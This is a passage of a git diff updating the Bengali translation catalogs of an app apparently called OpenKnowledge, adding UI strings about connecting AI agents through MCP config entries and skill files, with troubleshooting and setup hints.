["রূপরেখা"],"dDpCOp": ["নাম বদলানো সফল হয়েছে কিন্তু সাইডবার পুরোনো হতে পারে — আবার সিঙ্ক করতে সতেজ করুন"],"dEgA5A": ["বাতিল করুন"],@@ -3089,6 +3145,7 @@["currentBaseLabel"],"</1> থেকে তৈরি হবে, <2>.ok/worktrees/</2>-এর নিচে নিজের ওয়ার্কট্রিতে।"],+ "dGcsnU": ["উভয়ের জন্য সরান"],"dIYSqk": ["রিমোট"],"dJw2_7": ["আপনার দলের জন্য প্রকল্পের সঙ্গে সংরক্ষিত।"],"dMsx3p": ["মূল পাতা ও নেভিগেশন কেন্দ্র।"],@@ -3103,6 +3160,9 @@"dVaXnv": ["বিষয়বস্তুর নিয়ম এখনও লোড হয়নি — একটু পরে আবার চেষ্টা করুন"],"dXCi3J": ["কিছু ভেঙে গেছে"],"dXOolp": ["আপনার পরিবর্তন সিঙ্ক হচ্ছে"],+ "da7Yfw": [+ "এটি নিচে তালিকাভুক্ত MCP সার্ভার এন্ট্রি ও স্কিল ফাইল মুছে দেয়। আবার যোগ না করা পর্যন্ত এজেন্ট আপনার নথিতে প্রবেশাধিকার হারাবে।"+ ],"darW93": [["pageCount",@@ -3180,6 +3240,7 @@],"eh3QBq": ["Excalidraw বোর্ড লোড করা যায়নি।"],"eiUA4k": [["count", "plural", { "one": ["#", " মন্তব্য"], "other": ["#", " মন্তব্য"] }]],+ "ejiJeW": ["OpenKnowledge আবিষ্কার স্কিল"],"ekSPiP": [["0"], " ইতিমধ্যেই মুছে ফেলা হয়েছে।"],"el2KyL": ["এই প্রকল্পে Slidev পাওয়া গেছে। ডেকগুলি প্রকল্পের সংস্করণ ব্যবহার করবে।"],"emMrXQ": ["সার্ভার একটি ত্রুটিপূর্ণ গঠনের ডুপ্লিকেট প্রতিক্রিয়া ফেরত দিয়েছে।"],@@ -3195,6 +3256,7 @@"euc6Ns": ["প্রতিলিপি করুন"],"evs0iw": ["\"", ["tagListQuery"], "\"-এর সঙ্গে মিলে যাওয়া ট্যাগ"],"ewSbS_": ["Shell সেশন"],+ "ewlFNL": [["failures"], "-এর জন্য MCP স্বয়ংক্রিয় মেরামত ব্যর্থ হয়েছে"],"ezUmoU": ["অনুমোদিত উপাদান মান (খালি = যেকোনো)"],"f-k37b": ["এই স্কিলটি ইনস্টল করুন"],"f1-q9m": ["স্কিলগুলো রেখে দেয়"],@@ -3247,6 +3309,23 @@"fj5YiP": ["GitHub থেকে একটি নতুন অনুলিপি ডাউনলোড করে।"],"fnlBN4": ["স্বয়ংক্রিয় অনুমোদনের সেটিং এখনও লোড হয়নি — একটু পরে আবার চেষ্টা করুন"],"fo6CCk": ["প্যান ", ["0"]],+ "followup.approve-once": [+ "আরও একটি ধাপ: এই প্রকল্পে ",+ ["agent"],+ " চালান এবং OpenKnowledge-কে একবার অনুমোদন দিন।"+ ],+ "followup.enable-manually": [+ "আরও একটি ধাপ: এটি ",+ ["agent"],+ " → Settings → Tools & MCP-তে চালু করুন (",+ ["agent"],+ " আপনি চালু না করা পর্যন্ত প্রকল্পের সার্ভার বন্ধ রাখে)।"+ ],+ "followup.trust-gated": [+ "পরের বার কোনো বিশ্বস্ত ",+ ["agent"],+ " সেশনে এই প্রকল্প খুললে এটি নিজে থেকেই যুক্ত হয়।"+ ],"fqSfXY": ["বদলান"],"ft-BOm": ["একটি বাগ জানান…"],"fuJZKk": ["ব্রাঞ্চ খুঁজুন"],@@ -3254,6 +3333,15 @@"fwhX-N": ["সোর্স ভেতরে বা বাইরে নিন"],"fwrPh4": ["অনুগ্রহ করে একটি বৈধ ইমেইল দিন।"],"fxbCNQ": ["সিঙ্ক হয়েছে। লিংকটি হালনাগাদ।"],+ "fybwfg": [+ "এই সেটআপ <0>",+ ["path"],+ "</0>-এর মাধ্যমে ",+ ["peers"],+ "-এর সাথে শেয়ার করা হয়েছে। এখানে এটি সরালে ",+ ["peers"],+ "-এর জন্যও এটি সরে যায়।"+ ],"g-dkjJ": ["স্থানীয় ফাইলের বিবরণ এখনও উপলব্ধ নয়।"],"g12y1g": ["অবৈধ YAML"],"g1ZTh_": [@@ -3266,7 +3354,6 @@}]],- "g4WlQK": ["প্রকল্পের AI টুল সামলানো কেবল OpenKnowledge ডেস্কটপ অ্যাপেই আছে।"],"g4XBm0": ["ছোট বিভাগ শিরোনাম।"],"g4e0hS": [["agentName"], "-কে জিজ্ঞেস করুন"],"g58Kwy": [@@ -3321,6 +3408,7 @@"gfb-CM": ["ব্রাঞ্চ আনা যায়নি — GitHub-এ সাইন ইন করে আবার চেষ্টা করুন।"],"gfdqcY": ["পরিবর্তনটি প্রয়োগ করা যায়নি: ", ["0"]],"gfohmY": ["টুল যুক্ত করুন"],+ "ggMMa7": ["প্রকল্প MCP সার্ভার"],"ggm6JX": ["এই পাতাটি এখনও নেই। সম্পাদকে পাতাটি তৈরি করতে ও গ্রাফ গুটিয়ে নিতে এটি খুলুন।"],"ggs9f8": ["ফাইল, ফোল্ডার বা কমান্ড খুঁজুন"],"gh27t1": ["লিংক প্রাকদর্শন"],@@ -3337,6 +3425,38 @@"gpbKxw": ["লিংক যাচাইকরণ উপলভ্য নয়।"],"gqk-3R": [["0"], "-কে ", ["destination"], "-এ সরানো হয়েছে।"],"gtEbeW": ["হাইলাইট"],+ "guidance.mcp.managed-file": [+ "একটি ছোট ব্রিজ ফাইল লেখে, যা ",+ ["agent"],+ " এই প্রকল্প থেকে লোড করে OpenKnowledge-এ পৌঁছায়।"+ ],+ "guidance.mcp.project-config": [+ "এই প্রকল্পে ",+ ["agent"],+ " যে MCP কনফিগ পড়ে তাতে OpenKnowledge যোগ করে, যাতে এটি এই নথিগুলো পড়তে, খুঁজতে ও সম্পাদনা করতে পারে।"+ ],+ "guidance.mcp.session-injection": [+ "OpenKnowledge যখনই ",+ ["agent"],+ " চালু করে, তখন OpenKnowledge-এর টুলগুলো তাকে দেওয়া হয়; তার কনফিগে কিছু লেখা হয় না।"+ ],+ "guidance.mcp.user-config": [+ ["agent"],+ "-এর নিজস্ব MCP কনফিগে OpenKnowledge যোগ করে, যাতে এই মেশিনের প্রতিটি প্রকল্পে পৌঁছানো যায়।"+ ],+ "guidance.skill.central-store": [+ ["agent"],+ " যে কেন্দ্রীয় স্কিল স্টোর পড়ে তাতে OpenKnowledge স্কিল রাখে।"+ ],+ "guidance.skill.project": [+ "এই প্রকল্পের জন্য ",+ ["agent"],+ "-এর স্কিল ফোল্ডারে OpenKnowledge স্কিল রাখে, যাতে তার সম্পাদনার কৃতিত্ব বজায় থাকে।"+ ],+ "guidance.skill.user": [+ ["agent"],+ "-এর মেশিনব্যাপী স্কিল ফোল্ডারে OpenKnowledge আবিষ্কার স্কিল রাখে, যাতে এটি যেকোনো প্রকল্পে OpenKnowledge খুঁজে পায়।"+ ],"gv5w9J": ["owner/repo, একটি git URL, বা একটি স্থানীয় পথ"],"gvApb7": ["আপনি যা পড়েন তা স্পষ্ট, নির্ভরযোগ্য নিবন্ধে রূপ দিন। একটি উৎস সংরক্ষণ করুন, তার অর্থ বুঝুন, তারপর চূড়ান্ত সংস্করণটি রেখে দিন যাতে পরে তার উপর ভরসা করতে পারেন।"@@ -3349,6 +3469,14 @@"h06R3C": ["কোনো পাতার বহির্গামী গ্রাফ লিংক অনুপস্থিত নয়।"],"h16FyT": ["তালিকা"],"h2N-1n": [["0"], "-এ ইনস্টল করা"],+ "h2QPvj": [+ ["dependent"],+ "-এর জন্য ",+ ["prerequisite"],+ " প্রয়োজন, এবং OpenKnowledge সেই এন্ট্রিটি চিনতে পারছে না। এটি প্রতিস্থাপন করতে ",+ ["prerequisite"],+ " টিক দিন, তারপর আবার সংরক্ষণ করুন।"+ ],"h3QZcB": [["shareBranch"], " নামে একটি ব্রাঞ্চ আগে থেকেই আছে। বদলে সুইচার থেকে এর ওয়ার্কট্রি খুলুন।"],"h69WC6": ["পাঠানো হয়েছে"],"h7FzJC": ["লিংক-গ্রাফের সাড়া প্রত্যাশিত আকারের সঙ্গে মেলেনি।"],@@ -3457,7 +3585,6 @@"iH8pgl": ["ফিরে যান"],"iHAJDj": ["ডিফল্ট জায়গা নির্ধারণ করা হচ্ছে"],"iIaSUD": ["ফাঁকা জায়গা"],- "iKS6gg": ["স্কিল স্কিল স্টুডিওতে সরানো হয়েছে।"],"iKSP5j": ["শব্দ মোড়ানো"],"iKZkk1": ["প্রপার্টির মান"],"iKvAeG": ["পরীক্ষা করা হচ্ছে"],@@ -3505,6 +3632,7 @@"ij-Elv": ["ছবির প্রিভিউ"],"ijLc3m": ["বুলেট তালিকা"],"ilodsp": ["এজেন্টদের না জিজ্ঞেস করেই OpenKnowledge ব্যবহার করতে দিন"],+ "inJhKB": ["প্রতিস্থাপন করে সংরক্ষণ করুন"],"ioMn4Z": ["টেমপ্লেট থেকে নতুন…"],"iodl3p": ["সার্ভার একটি ত্রুটিপূর্ণ গঠনের আপলোড প্রতিক্রিয়া ফেরত দিয়েছে।"],"ipCibE": ["খালি ফোল্ডারের নাম অনুমোদিত নয় (//)"],@@ -3520,6 +3648,7 @@"irnKr_": [["updatedRelative"], " আপডেট হয়েছে"],"irrm_E": ["নির্বাচন সরান"],"isRobC": ["নতুন"],+ "itchkf": ["এই যন্ত্রের প্রতিটি প্রকল্পে এজেন্টকে OpenKnowledge-এর সঙ্গে যুক্ত করে।"],"iuTKci": ["এখনও কোনো সম্পাদনা নেই।"],"iv452l": [["0"], "-এর নথিপত্র (ব্রাউজারে খোলে)"],"iycx_A": ["পাঠানো হচ্ছে"],@@ -3692,6 +3821,7 @@"kfL8BJ": ["আমদানি ব্যর্থ: ", ["0"]],"kj9pAE": ["পাতা তৈরি করা হচ্ছে"],"kjlQ9D": ["সিমলিংক হয়ে যায়"],+ "kjrq_8": ["আরও তথ্য"],"kknhfj": ["কোনো পরিবর্তন নেই"],"kkux8f": [["0"], " মুছে ফেলা যায়নি। আবার চেষ্টা করুন।"],"klPS-L": ["মূল ফাইল — এই এজেন্টের সম্পাদনার আগে।"],@@ -3747,6 +3877,7 @@"l87Deg": ["নতুন ট্যাব কী চালু করবে তা বেছে নিন"],"l9s3IX": [["agentName"], " কথোপকথন শুরু করতে পারেনি।"],"lAiyU_": ["কেবল বর্তমান নথিটিই <0>#", ["tag"], "</0> ব্যবহার করে।"],+ "lBN3T6": ["এজেন্ট সংযোগ"],"lCC_D5": ["সদস্য করা হচ্ছে…"],"lGs_bQ": ["পাতা <0>*</0>"],"lHCR4I": ["ডিফল্ট OpenAI এন্ডপয়েন্টে ফিরতে ফিল্ডটি খালি করুন।"],@@ -3826,9 +3957,6 @@"mHVPm5": ["পুনরায় যুক্ত হওয়া দরকার"],"mHf8mp": ["স্কিমা ফাইল ", ["file"], " মুছুন"],"mHo0kp": ["Open Knowledge টুল সক্ষম করার অনুরোধের সময় শেষ হয়েছে। এই থ্রেড সেগুলো ছাড়াই চলবে।"],- "mLAjyL": [- "আপনি যে AI টুলগুলো ব্যবহার করেন সেগুলোকে আপনার প্রকল্প পড়া ও হালনাগাদ করার অধিকার দিন। একটি বাক্সে টিক দিলেই সেটি সঙ্গে সঙ্গে সেট হয়ে যায়; টিক সরালে সরে যায়।"- ],"mPoOmg": ["প্রথমে এখানে একটি স্কিল ইনস্টল করুন"],"mPy9lS": ["আমার বিদ্যমান স্পেকগুলো এলাকা অনুযায়ী গোষ্ঠীবদ্ধ একটি যুক্ত সূচিতে সাজান, এবং যেগুলো বর্তমান কোডের সঙ্গে মিল হারিয়েছে সেগুলো চিহ্নিত করুন।"@@ -3846,6 +3974,7 @@"maDWIB": ["মিরর উৎস <0>api-spec</0>"],"makN88": ["এখনও কোনো প্যাটার্ন নেই। ফাইল লুকানো শুরু করতে নিচে একটি ফোল্ডার বা ফাইলের নাম লিখুন।"],"mdKFEy": ["আপনি \"", ["docName"], "\" লোড করা বাতিল করেছেন।"],+ "mdWhUY": ["OpenKnowledge এই মেশিনে এই এজেন্টটি খুঁজে পায়নি।"],"mdzKSV": [["nodeCount", "plural", { "one": ["#", " নোড"], "other": ["#", " নোড"] }]],"mf37rL": ["আবার চেষ্টা করা হচ্ছে"],"mg0YGL": ["সোর্সে বহু-কার্সর ও বহু-নির্বাচন"],@@ -3901,6 +4030,7 @@"mwMF9u": ["সোর্স সম্পাদক মোডে CodeMirror অনুসন্ধান খুলুন।"],"mxGJVE": ["ওয়ার্কট্রি বদলান…"],"mxY24F": ["ফোকাস Files সাইডবারে থাকলে ফোকাস করা ফাইল-ট্রি আইটেমের প্রতিলিপি করুন।"],+ "n11Jj7": ["এই এজেন্টের জন্য OpenKnowledge প্রকল্প স্কিল ইনস্টল করে।"],"n2XqGH": ["এডিটর প্যান"],"n2lRue": ["বদলাতে পরিবর্তন কমিট বা স্ট্যাশ করুন:"],"n3T3EE": [["label"], "-এ ইনস্টল করা — সরাতে ক্লিক করুন"],@@ -3916,7 +4046,6 @@],"n7aopT": ["সম্পাদক মোড"],"n81AV0": [["owner"], "/", ["name"], " আগে থেকেই আছে। অন্য একটি নাম বেছে নিন।"],- "n8DwqQ": ["পরের বার কোনো বিশ্বস্ত Codex সেশনে এই প্রকল্প খুললে এটি নিজে থেকেই যুক্ত হয়।"],"nBHvPL": ["সম্পাদনা বাতিল করুন"],"nBgzKO": ["এটিকে উৎস বানান — স্কিলের আসল ফোল্ডার এখানে সরে আসে"],"nCzR-G": ["কোড ", ["userCode"], " কপি করুন"],@@ -3977,6 +4106,7 @@"nsM-_m": ["শত শত থিম দেখুন"],"nsUDL8": [["1"], "টির মধ্যে ", ["0"], "টি প্রকল্প নির্বাচিত"],"nskygk": ["এজেন্ট বাছুন"],+ "nta97o": ["এজেন্টকে আপনার নথি নিয়ে কাজ করার নির্দেশনা দেয় এবং তার সম্পাদনার কৃতিত্ব বজায় রাখে।"],"nwtY4N": ["কিছু একটা ভুল হয়েছে"],"nxlOpL": ["OpenKnowledge এই GitHub অ্যাকাউন্টটি ব্যবহার করছে।"],"ny6vNn": [@@ -4040,6 +4170,7 @@"\"-এর স্থানীয় সহযোগিতা তথ্য মুছে ফেলা যায়নি। আবার চেষ্টা করতে পাতাটি পুনরায় লোড করুন।"],"oxdGJn": ["যাওয়ার আগে কারণটা জানাবেন কি?"],+ "oxj8er": ["এজেন্টকে এই প্রকল্পের সঙ্গে যুক্ত করে, যাতে এটি আপনার নথি পড়তে, খুঁজতে ও সম্পাদনা করতে পারে।"],"oy5bJW": ["আপনি যোগ করতে পারেন"],"oyBV3W": ["কাস্টম স্কিল ফোল্ডারের পাথ"],"p0Iq25": ["লিংক ঢোকান"],@@ -4112,7 +4243,6 @@["1"]," স্থায়ীভাবে সরিয়ে দেয়। SKILL.md-এ যা কিছু সেটির দিকে নির্দেশ করে, তা পুনরায় তৈরি না করা পর্যন্ত কাজ করবে না।"],- "psfGPX": ["MCP সংযোগ"],"psl2Sj": ["আপনার পরিবর্তন এখনও সংরক্ষিত হচ্ছে — একটু পরে পরীক্ষাটি আবার চালান।"],"ptQ3_N": ["আনলিংক করুন"],"pvnfJD": ["গাঢ়"],@@ -4126,6 +4256,7 @@"q4YJl_": ["টার্মিনাল সেশন শেষ হয়েছে (প্রস্থান কোড ", ["0"], ")।"],"q4efaG": [["filePath"], " আর এই স্কিলে নেই"],"q6-JVU": ["পাতা লোড হচ্ছে"],+ "q63KUv": ["MCP ও স্কিল যোগ করুন"],"q7F5am": ["শিরোনাম"],"q8aCbb": ["\"", ["0"], "\"-এর দুটি সংস্করণ — উৎস বনাম ", ["editor"]],"qAQVSD": ["পাতার শিরোনামের সাড়া JSON ছিল না"],@@ -4195,10 +4326,12 @@"qlAIQ1": ["রিমোট"],"qo4zCg": ["পথে ব্যাকস্ল্যাশ থাকতে পারে না"],"qpQwGC": ["আপনি কী নিয়ে কাজ করছেন তার বর্ণনা দিন, এজেন্ট আপনার জন্য সেটি সাজিয়ে দেবে।"],+ "qr2gAH": ["OpenKnowledge ", ["0"], "-এর জন্য কী সেট আপ করবে তা বেছে নিন।"],"qribBG": ["স্কিমা ", ["deleteTarget"]],"qtnmEX": ["একটি বৈধ থিমের নাম লিখুন।"],"qvWGzP": ["সব গুটিয়ে নিন"],"qyLmWw": ["সোর্স সম্পাদকের অনুসন্ধান প্যানেল"],+ "qze9od": ["এই ফোল্ডারটি ", ["alsoAffects"], "-এরও।"],"r-OJYm": ["একটি বৈধ ব্রাঞ্চ নাম দিন (ফাঁকা জায়গা নয়, শুরুতে বিন্দু নয়, \"..\" নয়)।"],"r2eKE3": ["আগে ", ["agentName"], "-এ সাইন ইন করুন"],"r4R7AZ": ["পরিষ্কারের সময় নেটওয়ার্ক ত্রুটি"],@@ -4281,6 +4414,7 @@"s1c0ja": ["বুলেট তালিকা"],"s3caR3": ["মুছে ফেলা হচ্ছে"],"s7us1p": ["কেবল PNG, JPEG বা WebP ছবি অনুমোদিত।"],+ "s8difl": ["স্কিল ছাড়াও এজেন্ট কাজ করে, তবে এটি সম্পাদনার কৃতিত্ব ও সরাসরি প্রাকদর্শন হারায়।"],"sAP9XO": [["0"], " প্লাগইন · ", ["1"]],"sE7R19": ["টেমপ্লেট লোড করা যায়নি: ",@@ -4372,6 +4506,9 @@"tA0b9E": ["ডিফল্ট স্কিল ফোল্ডার (সংরক্ষণের পর সঠিক পথটি দেখা যায়)"],"tA2-xC": ["\"", ["0"], "\" আগেই যোগ করা হয়েছিল (একই বিষয়বস্তু)।"],"tAPZEx": ["নিচে"],+ "tCE-ZH": [+ "OpenKnowledge এই এন্ট্রিটি চিনতে পারছে না, এবং এই ফাইলের ফরম্যাটে এটি নিরাপদে প্রতিস্থাপন করতে পারে না।"+ ],"tCyvAw": ["একটি ফাইল সংযুক্ত করুন"],"tHKQ6j": ["নাম বদলানো হচ্ছে"],"tKlWWY": ["ইমোজি"],@@ -4408,6 +4545,48 @@"tnG-m6": ["স্বয়ংক্রিয় সিঙ্ক থেমে আছে — আবার শুরু করতে সাইন ইন করুন।"],"toyw51": ["Mermaid চিত্রের নিয়ন্ত্রণ"],"tqQBwN": ["যেকোনো স্ক্রিপ্ট পর্যালোচনার জন্য দেখানো হয়, কখনও চালানো হয় না।"],+ "troubleshooting.claude-desktop.per-tool-approval": [+ ["agent"],+ " প্রতিটি OpenKnowledge টুল প্রথমবার ব্যবহারের সময় আপনার অনুমোদন চায়।"+ ],+ "troubleshooting.claude.project-entry-not-approved": [+ ["agent"],+ "-এ OpenKnowledge টুল না দেখালে, এটি এই প্রকল্পে চালান এবং OpenKnowledge সার্ভারটি একবার অনুমোদন দিন।"+ ],+ "troubleshooting.codex.desktop-project-config": [+ ["agent"],+ " ডেস্কটপ অ্যাপ এই প্রকল্প কনফিগ উপেক্ষা করে; শুধু ",+ ["agent"],+ " CLI এটি পড়ে।"+ ],+ "troubleshooting.copilot.shared-workspace-config": [+ ["agent"],+ " সেই ওয়ার্কস্পেস MCP কনফিগ পড়ে যা OpenKnowledge ",+ ["sourceAgent"],+ "-এর জন্য লেখে; একজনের জন্য সরালে দুজনের জন্যই সরে যায়।"+ ],+ "troubleshooting.cursor.project-entry-not-loaded": [+ ["agent"],+ "-এ OpenKnowledge টুল না দেখালে, Settings → Tools & MCP-তে সার্ভারটি চালু করুন; আপনি চালু না করা পর্যন্ত ",+ ["agent"],+ " প্রকল্পের সার্ভার বন্ধ রাখে।"+ ],+ "troubleshooting.lm-studio.config-path-mismatch": [+ ["agent"],+ "-এ OpenKnowledge টুল না দেখালে, দেখুন এর সেটিংসে MCP কনফিগের পথ OpenKnowledge-এর লেখা ফাইলের সাথে মিলছে কি না।"+ ],+ "troubleshooting.openclaw.central-store-missing": [+ ["agent"],+ "-এর কেন্দ্রীয় স্কিল স্টোর এখনো নেই; ",+ ["agent"],+ " একবার চালু করুন যাতে এটি তৈরি হয়, তারপর আবার চেষ্টা করুন।"+ ],+ "troubleshooting.pi.folder-trust": [+ ["agent"],+ " শুধু আপনার বিশ্বাস করা ফোল্ডারেই প্রকল্প এক্সটেনশন লোড করে; টুল না দেখালে ",+ ["agent"],+ "-এ এই ফোল্ডারটিকে বিশ্বাস করুন।"+ ],"tsiTqO": ["আপনার API কী পেস্ট করুন"],"tvMvze": ["\\\"",@@ -4462,6 +4641,7 @@"uUCrBv": ["সিমলিংক"],"uV3EYs": ["আপনার ছবি"],"uVbUP8": ["সেটিং…"],+ "uVhq9B": ["এই এজেন্টের জন্য OpenKnowledge আবিষ্কার স্কিল ইনস্টল করে।"],"uX85yl": ["সেটআপ ফাইলের মধ্যে আছে: <0>.ok/</0>, AI-টুল MCP কনফিগ (<1>.mcp.json</1> ও প্রতি-টুল ফাইল)। আপনার স্কিল এর মধ্যে নেই — সেগুলো প্রকল্পের অন্য যেকোনো ফাইলের মতোই git অনুসরণ করে।<2/><3>ভাগ করা</3> সেগুলো git-এ কমিট করে, তাই যে-ই রিপোজিটরিটি ক্লোন করুক একই সেটআপ পায়। <4/><5>শুধু আমার</5> সেগুলো git-এর বাইরে রাখে (<6>.git/info/exclude</6>-এর মাধ্যমে)।"],@@ -4583,6 +4763,9 @@"vvWZnu": ["পার্থক্য অনুপলব্ধ"],"vwV-kH": ["ফাইল ঠিক করার কাজ অপ্রত্যাশিতভাবে থেমে গেছে।"],"vy_VIN": ["git-এ হিসাবভুক্ত — হালনাগাদ আপনার রিপোজিটরির মাধ্যমে আসে (pull বা CI), স্বয়ংক্রিয় হালনাগাদে নয়"],+ "vyjTYE": [+ ["changeCount", "plural", { "one": ["#", "টি পরিবর্তন"], "other": ["#", "টি পরিবর্তন"] }]+ ],"w0YVAE": ["স্কিল নোড দেখান"],"w3tVpc": ["এখনও কোনো লিংক নেই। গ্রাফ গড়তে উইকি লিংক বা markdown লিংক যোগ করুন।"],"w3vFfL": ["Files লুকান"],@@ -4616,6 +4799,7 @@"wQp1V3": ["<0>", ["src"], "</0>-এর মিরর"],"wQvvZY": ["নতুন স্কিল ফাইল"],"wRni1Z": ["Slidev বন্ধ করুন"],+ "wSBXaS": [["rowLabel"], " পরিচালনা করুন"],"wT4iQr": ["দৃশ্য-সম্পাদকের খোঁজা বদলানোর নিয়ন্ত্রণ মেলে ধরা অবস্থায় খুলুন।"],"wTcjov": ["কোনো ওয়ার্কস্পেস নেই"],"wU8WyK": ["উপাদান ফিল্ড"],@@ -4637,7 +4821,9 @@"wdxz7K": ["উৎস"],"wdzBgi": ["কনফিগ ভাগাভাগি এখন শুধু আমার।"],"weP6me": ["নথি লোড করা যায়নি — আবার চেষ্টা করতে @ আবার লিখুন"],+ "wfZwqe": [["rowLabel"], " ইনস্টল করুন"],"wgNoIs": ["সব নির্বাচন করুন"],+ "wgj--j": ["এই এজেন্টের জন্য একটি গ্লোবাল OpenKnowledge MCP এন্ট্রি যোগ করে।"],"wk_v1X": ["এই ওয়ার্কট্রির সিঙ্ক “স্বয়ংক্রিয় (টানুন ও পাঠান)”-এ সেট করা, যা ",["project"],@@ -4772,7 +4958,6 @@"yZmvQ4": ["এই প্রকল্পের সার্ভার (v", ["0"], ") এই অ্যাপের (v", ["1"], ") চেয়ে নতুন।"],"y_5CE8": ["আইটেম ", ["0"]],"y_K0Dz": ["কী হয়েছিল?"],- "yaPGPa": ["কোনো প্রকল্পের AI টুল সংযোগ সামলাতে সেটি খুলুন।"],"ybPMz3": [["name"], " পিন করা যায়নি"],"ycIX5i": ["আপনি সাইন আউট আছেন — সিঙ্ক আবার শুরু করতে সাইন ইন করুন।"],"yckias": ["ফাইলের নাম বদলান"],@@ -4794,9 +4979,6 @@["source"],"</0>-এ রয়েছে — এখানে চলা এজেন্টরা এটি লোড করতে পারে না। সম্পাদনা করতে এটি এখানে কপি করুন।"],- "yhdqox": [- "ইনস্টল করা আছে — ok বাইরের টার্মিনালে পাওয়া যায়। টিক সরালে সেটি সরে যায়; OpenKnowledge-এর নিজস্ব টার্মিনাল ও AI টুল কাজ করতে থাকে।"- ],"yhy5h-": ["সব ", ["count"], "টি স্কিল দেখুন"],"yit5dF": ["এই প্রকল্পে এখনও কোনো ফোল্ডার নেই।"],"yjExfe": ["ব্রাঞ্চ <0>", ["shareBranch"], "</0> এখানে চেক আউট করা আছে:"],@@ -4809,7 +4991,6 @@"yvG-l1": ["সোর্স lint প্যানেল খুলুন"],"yvHDYG": ["Claude Desktop"],"yvSAuM": ["ঠিক করা থামান। যেসব ফাইল আগেই ঠিক হয়েছে সেগুলো ঠিকই থাকে।"],- "ywVfOE": ["এই প্রকল্পের স্কিল স্কিল স্টুডিওতে সরানো হয়েছে।"],"yxF19Y": [["0", "plural", { "one": ["#", " প্লাগইন"], "other": ["#", " প্লাগইন"] }]],"yz7wBu": ["বন্ধ করুন"],"yzF66j": ["লিংক"],diff --git a/packages/app/src/locales/bn/messages.po b/packages/app/src/locales/bn/messages.poindex ad332b228..a7ac3dd87 100644--- a/packages/app/src/locales/bn/messages.po+++ b/packages/app/src/locales/bn/messages.po@@ -330,6 +330,12 @@ msgstr "{0} {1}-কে না জিজ্ঞেস করেই কাজ কmsgid "{0} needs {1}"msgstr "{0}-এর {1} দরকার"+#. placeholder {0}: removed.dependent+#. placeholder {1}: removed.prerequisite+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{0} needs {1}. Turn both off, or keep both on."+msgstr "{0}-এর জন্য {1} প্রয়োজন। দুটোই বন্ধ করুন, অথবা দুটোই চালু রাখুন।"+#. placeholder {0}: item.displayName#: src/components/acp/ThreadView.tsxmsgid "{0} needs replacing"@@ -470,6 +476,31 @@ msgstr "{0} বছর আগে"msgid "{accessibleLabel} (conflict)"msgstr "{accessibleLabel} (দ্বন্দ্ব)"+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.claude-desktop.per-tool-approval"+msgstr "{agent} প্রতিটি OpenKnowledge টুল প্রথমবার ব্যবহারের সময় আপনার অনুমোদন চায়।"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.session-injection"+msgstr "OpenKnowledge যখনই {agent} চালু করে, তখন OpenKnowledge-এর টুলগুলো তাকে দেওয়া হয়; তার কনফিগে কিছু লেখা হয় না।"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.pi.folder-trust"+msgstr "{agent} শুধু আপনার বিশ্বাস করা ফোল্ডারেই প্রকল্প এক্সটেনশন লোড করে; টুল না দেখালে {agent}-এ এই ফোল্ডারটিকে বিশ্বাস করুন।"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.copilot.shared-workspace-config"+msgstr "{agent} সেই ওয়ার্কস্পেস MCP কনফিগ পড়ে যা OpenKnowledge {sourceAgent}-এর জন্য লেখে; একজনের জন্য সরালে দুজনের জন্যই সরে যায়।"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.openclaw.central-store-missing"+msgstr "{agent}-এর কেন্দ্রীয় স্কিল স্টোর এখনো নেই; {agent} একবার চালু করুন যাতে এটি তৈরি হয়, তারপর আবার চেষ্টা করুন।"+#: src/components/acp/ThreadView.tsxmsgid "{agentName} couldn't start a conversation."msgstr "{agentName} কথোপকথন শুরু করতে পারেনি।"@@ -520,6 +551,10 @@ msgstr "{boldName} <0>{0}</0> প্লাগইন{pluginVersion}-এর অংmsgid "{boldName} lives outside this project, at <0>{source}</0> — agents running here can't load it. Copy it in to edit."msgstr "{boldName} এই প্রকল্পের বাইরে, <0>{source}</0>-এ রয়েছে — এখানে চলা এজেন্টরা এটি লোড করতে পারে না। সম্পাদনা করতে এটি এখানে কপি করুন।"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{changeCount, plural, one {# change} other {# changes}}"+msgstr "{changeCount, plural, one {#টি পরিবর্তন} other {#টি পরিবর্তন}}"+#: src/components/EditorFooter.tsxmsgid "{chars, plural, one {char} other {chars}}"msgstr "{chars, plural, one {অক্ষর} other {অক্ষর}}"@@ -609,6 +644,26 @@ msgstr "{days, plural, one {# দিন আগে} other {# দিন আগে}msgid "{days}d ago"msgstr "{days} দিন আগে"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and OpenKnowledge cannot safely replace that entry in this file's format."+msgstr "{dependent}-এর জন্য {prerequisite} প্রয়োজন, এবং OpenKnowledge এই ফাইলের ফরম্যাটে সেই এন্ট্রি নিরাপদে প্রতিস্থাপন করতে পারে না।"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and OpenKnowledge could not find this agent on this machine."+msgstr "{dependent}-এর জন্য {prerequisite} প্রয়োজন, এবং OpenKnowledge এই মেশিনে এই এজেন্টটি খুঁজে পায়নি।"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and OpenKnowledge does not recognize that entry. Tick {prerequisite} to replace it, then save again."+msgstr "{dependent}-এর জন্য {prerequisite} প্রয়োজন, এবং OpenKnowledge সেই এন্ট্রিটি চিনতে পারছে না। এটি প্রতিস্থাপন করতে {prerequisite} টিক দিন, তারপর আবার সংরক্ষণ করুন।"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and this agent has no file of that kind on this machine yet. Open the agent once, then try again."+msgstr "{dependent}-এর জন্য {prerequisite} প্রয়োজন, এবং এই মেশিনে এই এজেন্টের এ ধরনের কোনো ফাইল এখনও নেই। এজেন্টটি একবার খুলুন, তারপর আবার চেষ্টা করুন।"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, which OpenKnowledge cannot set up for you. Its setup guide has the manual steps."+msgstr "{dependent}-এর জন্য {prerequisite} প্রয়োজন, যা OpenKnowledge আপনার জন্য সেট আপ করতে পারে না। 